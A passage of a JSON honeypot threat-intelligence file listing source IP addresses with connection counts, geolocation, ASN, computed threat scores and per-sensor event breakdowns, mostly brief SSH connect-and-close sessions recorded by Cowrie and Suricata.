        "last_seen_30d": "2026-05-29T14:54:10.129000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 31,
        "Cowrie": 4,
        "Honeytrap": 3,
        "H0neytr4p": 1,
        "Miniprint": 1
      }
    },
    "94.197.114.28": {
      "attack_count": 4,
      "first_seen": "2026-05-23T09:36:53.064Z",
      "last_seen": "2026-05-23T11:58:58.550Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Harpenden",
      "asn": 206067,
      "as_org": "Three",
      "threat_score": 15.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T09:36:53.064000+00:00",
        "last_seen_30d": "2026-05-23T12:00:07.743000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "47.253.113.111": {
      "attack_count": 3,
      "first_seen": "2026-05-15T21:58:01.360Z",
      "last_seen": "2026-05-15T21:59:02.063Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 31.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.9,
        "persistence": 14.2,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 17,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-03T03:18:21.433000+00:00",
        "last_seen_30d": "2026-05-19T04:14:45.318000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Suricata": 37,
        "Honeytrap": 9,
        "Cowrie": 3
      }
    },
    "65.49.1.222": {
      "attack_count": 3,
      "first_seen": "2026-05-04T01:32:23.130Z",
      "last_seen": "2026-05-04T01:32:23.131Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 307,
        "days_active_30d": 30,
        "ports_targeted_30d": 73,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-05-02T00:47:20+00:00",
        "last_seen_30d": "2026-05-31T08:06:14.213000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 195,
        "Honeytrap": 73,
        "Ciscoasa": 12,
        "Redishoneypot": 11,
        "Miniprint": 8,
        "Dionaea": 5,
        "Cowrie": 3
      }
    },
    "74.82.47.3": {
      "attack_count": 3,
      "first_seen": "2026-05-13T02:01:42.211Z",
      "last_seen": "2026-05-13T02:01:42.213Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Gunnison",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.1,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 327,
        "days_active_30d": 29,
        "ports_targeted_30d": 78,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-05-03T11:36:01+00:00",
        "last_seen_30d": "2026-05-31T15:05:49.338000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 195,
        "Honeytrap": 109,
        "Miniprint": 8,
        "Dionaea": 5,
        "Cowrie": 3,
        "ElasticPot": 3,
        "Adbhoney": 2,
        "ConPot": 2
      }
    },
    "102.219.208.127": {
      "attack_count": 2,
      "first_seen": "2026-05-03T07:20:55.159Z",
      "last_seen": "2026-05-03T07:21:07.838Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Kenya",
      "country_code": "KE",
      "city": "Nairobi",
      "asn": 328856,
      "as_org": "VIJIJI-CONNECT-LIMITED",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T07:20:55.159000+00:00",
        "last_seen_30d": "2026-05-03T07:22:09.412000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "103.125.175.39": {
      "attack_count": 2,
      "first_seen": "2026-05-07T13:33:10.856Z",
      "last_seen": "2026-05-07T13:33:23.631Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 139415,
      "as_org": "PT Trinity Teknologi Nusantara",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T13:33:10.856000+00:00",
        "last_seen_30d": "2026-05-07T13:35:18.510000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "111.36.57.69": {
      "attack_count": 2,
      "first_seen": "2026-05-12T08:40:04.560Z",
      "last_seen": "2026-05-12T08:40:04.767Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Linyi",
      "asn": 24444,
      "as_org": "Shandong Mobile Communication Company Limited",
      "threat_score": 50.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 10.8,
        "persistence": 16.7,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 20,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-12T08:40:04.560000+00:00",
        "last_seen_30d": "2026-05-31T09:23:04.487000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Honeytrap": 3,
        "Cowrie": 2
      }
    },
    "115.210.171.236": {
      "attack_count": 2,
      "first_seen": "2026-05-14T20:16:28.956Z",
      "last_seen": "2026-05-14T20:16:42.004Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T20:16:28.956000+00:00",
        "last_seen_30d": "2026-05-14T20:17:50.263000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "115.86.180.144": {
      "attack_count": 2,
      "first_seen": "2026-05-09T19:57:58.354Z",
      "last_seen": "2026-05-09T19:58:12.327Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "W\u014fnju",
      "asn": 17598,
      "as_org": "LG HelloVision Corp.",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T19:57:58.354000+00:00",
        "last_seen_30d": "2026-05-09T19:59:21.628000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "118.250.0.116": {
      "attack_count": 2,
      "first_seen": "2026-05-13T17:55:09.566Z",
      "last_seen": "2026-05-13T17:55:21.661Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T17:55:09.566000+00:00",
        "last_seen_30d": "2026-05-13T17:56:28.386000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "122.36.187.5": {
      "attack_count": 2,
      "first_seen": "2026-05-19T11:23:31.153Z",
      "last_seen": "2026-05-19T11:23:44.444Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Suwon",
      "asn": 17858,
      "as_org": "LG POWERCOMM",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T11:23:31.153000+00:00",
        "last_seen_30d": "2026-05-19T11:24:51.567000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "136.158.122.115": {
      "attack_count": 2,
      "first_seen": "2026-05-06T17:17:20.940Z",
      "last_seen": "2026-05-06T17:17:34.857Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Tarlac City",
      "asn": 17639,
      "as_org": "Converge ICT Solutions Inc.",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T17:17:20.940000+00:00",
        "last_seen_30d": "2026-05-06T17:18:43.779000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "148.222.225.227": {
      "attack_count": 2,
      "first_seen": "2026-05-05T17:54:49.358Z",
      "last_seen": "2026-05-05T17:55:02.541Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": null,
      "asn": 64124,
      "as_org": "EDGEUNO S.A.S",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T17:54:49.358000+00:00",
        "last_seen_30d": "2026-05-05T17:56:05.985000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "177.37.137.13": {
      "attack_count": 2,
      "first_seen": "2026-05-08T13:22:00.371Z",
      "last_seen": "2026-05-08T13:22:13.511Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Fortaleza",
      "asn": 28126,
      "as_org": "BRISANET SERVICOS DE TELECOMUNICACOES S.A",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T13:22:00.371000+00:00",
        "last_seen_30d": "2026-05-08T13:23:15.547000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "180.191.32.144": {
      "attack_count": 2,
      "first_seen": "2026-05-23T13:53:55.700Z",
      "last_seen": "2026-05-23T13:54:21.764Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Cabanatuan City",
      "asn": 132199,
      "as_org": "Globe Telecom Inc.",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T13:53:55.700000+00:00",
        "last_seen_30d": "2026-05-23T13:55:28.478000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "181.121.126.84": {
      "attack_count": 2,
      "first_seen": "2026-05-22T13:24:02.281Z",
      "last_seen": "2026-05-22T13:24:14.579Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Paraguay",
      "country_code": "PY",
      "city": "Luque",
      "asn": 23201,
      "as_org": "Telecel S.A.",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T13:24:02.281000+00:00",
        "last_seen_30d": "2026-05-22T13:25:26.490000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "186.128.54.63": {
      "attack_count": 2,
      "first_seen": "2026-05-09T06:08:10.753Z",
      "last_seen": "2026-05-09T06:08:23.188Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Boulogne Sur Mer",
      "asn": 22927,
      "as_org": "Telefonica de Argentina",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T06:08:10.753000+00:00",
        "last_seen_30d": "2026-05-09T06:09:33.232000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "189.228.70.201": {
      "attack_count": 2,
      "first_seen": "2026-05-03T21:29:05.777Z",
      "last_seen": "2026-05-03T21:29:18.695Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Naucalpan",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T21:29:05.777000+00:00",
        "last_seen_30d": "2026-05-03T21:30:22.865000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "189.84.47.103": {
      "attack_count": 2,
      "first_seen": "2026-05-18T02:36:22.059Z",
      "last_seen": "2026-05-18T02:36:34.832Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Linhares",
      "asn": 263482,
      "as_org": "Megalink Servicos Ltda",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T02:36:22.059000+00:00",
        "last_seen_30d": "2026-05-18T02:37:39.800000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "190.200.170.144": {
      "attack_count": 2,
      "first_seen": "2026-05-07T00:46:44.509Z",
      "last_seen": "2026-05-07T00:46:58.390Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Barquisimeto",
      "asn": 8048,
      "as_org": "CANTV Servicios, Venezuela",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T00:46:44.509000+00:00",
        "last_seen_30d": "2026-05-07T00:47:59.266000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "196.191.231.12": {
      "attack_count": 2,
      "first_seen": "2026-05-31T02:23:51.284Z",
      "last_seen": "2026-05-31T02:24:22.404Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ethiopia",
      "country_code": "ET",
      "city": "Addis Ababa",
      "asn": 24757,
      "as_org": "Ethiopian Telecommunication Corporation",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T02:23:51.284000+00:00",
        "last_seen_30d": "2026-05-31T02:25:26.529000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "211.238.83.106": {
      "attack_count": 2,
      "first_seen": "2026-05-22T00:36:45.873Z",
      "last_seen": "2026-05-22T00:36:59.654Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Yeonsu-gu",
      "asn": 9976,
      "as_org": "Namincheon Brodcasting Co., Ltd.",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T00:36:45.873000+00:00",
        "last_seen_30d": "2026-05-22T00:38:10.815000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "216.154.136.68": {
      "attack_count": 2,
      "first_seen": "2026-05-10T11:24:42.194Z",
      "last_seen": "2026-05-10T11:24:55.344Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Chatham",
      "asn": 5645,
      "as_org": "TekSavvy Solutions, Inc.",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T11:24:42.194000+00:00",
        "last_seen_30d": "2026-05-10T11:26:02.833000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "219.132.37.51": {
      "attack_count": 2,
      "first_seen": "2026-05-27T23:16:49.884Z",
      "last_seen": "2026-05-27T23:17:21.283Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T23:16:49.884000+00:00",
        "last_seen_30d": "2026-05-27T23:18:25.081000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "36.20.63.135": {
      "attack_count": 2,
      "first_seen": "2026-05-16T18:41:31.440Z",
      "last_seen": "2026-05-16T18:41:43.492Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T18:41:31.440000+00:00",
        "last_seen_30d": "2026-05-16T18:42:52.946000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "38.196.85.153": {
      "attack_count": 2,
      "first_seen": "2026-05-07T03:36:48.868Z",
      "last_seen": "2026-05-07T03:37:01.809Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Maracaibo",
      "asn": 271951,
      "as_org": "4 EVER PLUG,C.A.",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T03:36:48.868000+00:00",
        "last_seen_30d": "2026-05-07T03:38:06.304000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.188.85.69": {
      "attack_count": 2,
      "first_seen": "2026-05-02T20:58:55.294Z",
      "last_seen": "2026-05-02T21:00:55.295Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Urua\u00e7u",
      "asn": 269516,
      "as_org": "SOLUCAO TELECOMUNICACOES LTDA-ME",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T20:58:55.294000+00:00",
        "last_seen_30d": "2026-05-02T21:11:51.565000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "86.6.222.160": {
      "attack_count": 2,
      "first_seen": "2026-05-09T00:39:59.048Z",
      "last_seen": "2026-05-09T00:40:11.914Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Haverhill",
      "asn": 5089,
      "as_org": "Virgin Media",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 3.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 2,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-09T00:39:59.048000+00:00",
        "last_seen_30d": "2026-05-09T00:40:11.914000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2
      }
    },
    "91.230.168.50": {
      "attack_count": 2,
